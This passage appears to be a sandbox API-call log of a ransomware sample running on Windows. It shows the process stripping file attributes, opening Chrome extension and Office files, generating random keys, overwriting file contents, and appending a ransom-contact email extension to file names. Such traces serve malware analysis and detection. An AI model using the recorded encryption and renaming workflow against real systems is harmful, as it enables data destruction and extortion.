Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\button.gif")) returned 0x20 [0188.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF", dwFileAttributes=0x20) returned 0 [0188.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\button.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0188.493] GetLastError () returned 0x5 [0188.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF", dwFileAttributes=0x20) returned 0 [0188.493] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bb968) returned 1 Thread: id = 8060 os_tid = 0x1b24 [0188.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\header.gif")) returned 0x20 [0188.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0188.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\header.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0188.494] GetLastError () returned 0x5 [0188.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0188.494] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbf08) returned 1 Thread: id = 8061 os_tid = 0x1c4c [0188.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_off.gif")) returned 0x20 [0188.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0188.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0188.495] GetLastError () returned 0x5 [0188.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0188.496] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbd28) returned 1 Thread: id = 8062 os_tid = 0x1ce0 [0188.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_on.gif")) returned 0x20 [0188.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0188.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0188.497] GetLastError () returned 0x5 [0188.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0188.497] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bc0e8) returned 1 Thread: id = 8063 os_tid = 0x1ce8 [0188.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\header.gif")) returned 0x20 [0189.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0189.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\header.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0189.955] GetLastError () returned 0x5 [0189.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0189.955] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bba58) returned 1 Thread: id = 8064 os_tid = 0x7f4 [0188.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_off.gif")) returned 0x20 [0189.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0189.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0189.963] GetLastError () returned 0x5 [0189.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0189.963] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bc1d8) returned 1 Thread: id = 8065 os_tid = 0x1e8c [0188.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_on.gif")) returned 0x20 [0189.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0189.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0189.962] GetLastError () returned 0x5 [0189.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0189.962] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bc2c8) returned 1 Thread: id = 8066 os_tid = 0x1ea4 [0188.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic\\default.xsl")) returned 0x20 [0188.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", dwFileAttributes=0x20) returned 0 [0188.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic\\default.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0188.503] GetLastError () returned 0x5 [0188.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\DEFAULT.XSL", dwFileAttributes=0x20) returned 0 [0188.503] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3888) returned 1 Thread: id = 8067 os_tid = 0x1fec [0188.503] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json")) returned 0x2020 [0188.504] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json", dwFileAttributes=0x20) returned 1 [0191.278] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xc08 [0191.278] GetFileSizeEx (in: hFile=0xc08, lpFileSize=0xf16fda8 | out: lpFileSize=0xf16fda8*=271) returned 1 [0191.278] SetFilePointerEx (in: hFile=0xc08, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.278] ReadFile (in: hFile=0xc08, lpBuffer=0xf16fd2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf16fd28, lpOverlapped=0x0 | out: lpBuffer=0xf16fd2c*, lpNumberOfBytesRead=0xf16fd28*=0x4, lpOverlapped=0x0) returned 1 [0191.279] SetFilePointerEx (in: hFile=0xc08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.279] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909398 [0191.279] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0191.279] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5b70 [0191.279] NtQuerySystemTime (in: CurrentTime=0xf16fd08 | out: CurrentTime=0xf16fd08*=132174899658730000) returned 0x0 [0191.279] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x5e10425b [0191.279] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x3ac63530 [0191.279] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x2748e252 [0191.279] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x2771629e [0191.279] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x2b52741f [0191.279] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x304cb92c [0191.279] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x6cc57801 [0191.279] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x73fcb191 [0191.279] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x119a4e1e [0191.279] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x6561b467 [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x5080653b [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x36a7eb06 [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x78c9ee1b [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x724dd231 [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x5c3b5d39 [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x711a46f1 [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x6b80d457 [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x6b501ff3 [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x323376c [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x5f915f59 [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x2282ac62 [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x4d94c7ab [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x3040e4ab [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x539b42ab [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x10190d1d [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x1b2216e0 [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x7525266 [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x510e9025 [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x1c04f13 [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x745dc09e [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0xc05424b [0191.280] RtlRandomEx (in: Seed=0xf16fd14 | out: Seed=0xf16fd14) returned 0x17002a1b [0191.293] ReadFile (hFile=0xc08, lpBuffer=0x1353c1a8, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0xf16fd04, lpOverlapped=0x0) [0191.293] SetFilePointerEx (in: hFile=0xc08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.294] WriteFile (in: hFile=0xc08, lpBuffer=0x135489b0*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0xf16fd00, lpOverlapped=0x0 | out: lpBuffer=0x135489b0*, lpNumberOfBytesWritten=0xf16fd00*=0x10f, lpOverlapped=0x0) returned 1 [0192.376] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af190 [0192.376] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af0f0 [0192.376] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0f0) returned 1 [0192.376] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x135489b0) returned 1 [0192.376] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1353c1a8) returned 1 [0192.380] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8da0) returned 1 [0192.380] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9528) returned 1 [0192.380] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6900 [0192.380] SetFilePointerEx (in: hFile=0xc08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.380] WriteFile (in: hFile=0xc08, lpBuffer=0x12cf60f8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xf16fd68, lpOverlapped=0x0 | out: lpBuffer=0x12cf60f8*, lpNumberOfBytesWritten=0xf16fd68*=0x10b, lpOverlapped=0x0) returned 1 [0192.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf60f8) returned 1 [0192.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6930) returned 1 [0192.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0f0) returned 1 [0192.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6900) returned 1 [0192.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af190) returned 1 [0192.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c58f0) returned 1 [0192.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c58a0) returned 1 [0192.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5fd0) returned 1 [0192.654] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf8670 [0192.654] wcscpy (in: _Dest=0x12cf8670, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" [0192.654] wcscat (in: _Dest=0x12cf8670, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0192.654] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf16fd20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.654] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x93d658 Thread: id = 8068 os_tid = 0x764 [0188.504] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json")) returned 0x2020 [0189.207] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json", dwFileAttributes=0x20) returned 1 [0193.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x750 [0193.278] GetFileSizeEx (in: hFile=0x750, lpFileSize=0xf5af7dc | out: lpFileSize=0xf5af7dc*=256) returned 1 [0193.278] SetFilePointerEx (in: hFile=0x750, liDistanceToMove=0xfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.278] ReadFile (in: hFile=0x750, lpBuffer=0xf5af760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf5af75c, lpOverlapped=0x0 | out: lpBuffer=0xf5af760*, lpNumberOfBytesRead=0xf5af75c*=0x4, lpOverlapped=0x0) returned 1 [0193.279] SetFilePointerEx (in: hFile=0x750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.279] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.279] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938040 [0193.279] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x937ff0 [0193.279] NtQuerySystemTime (in: CurrentTime=0xf5af73c | out: CurrentTime=0xf5af73c*=132174899678698000) returned 0x0 [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x56369f1d [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x9ca3f6c [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x19d851e0 [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0xe5d5960 [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x63c1d09 [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x3e4540b1 [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x38ad8fbe [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x5236c52e [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x7e5c5400 [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x76889fc0 [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x2c01ea34 [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x4035544a [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x4bf9137 [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x1f434f0b [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x2a64c433 [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x2f628cda [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x768a41e7 [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x278854f3 [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x349393ac [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x73008cff [0193.279] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x399c69ee [0193.280] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x6630712a [0193.280] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x788ae1ed [0193.280] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x15ae99ea [0193.280] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x263070d8 [0193.280] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x60ec4d7e [0193.280] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x79182d33 [0193.280] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x1a46e51c [0193.280] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x10ab3fb8 [0193.280] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x4219aad5 [0193.280] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x50980ac1 [0193.280] RtlRandomEx (in: Seed=0xf5af748 | out: Seed=0xf5af748) returned 0x6da10c [0193.293] ReadFile (hFile=0x750, 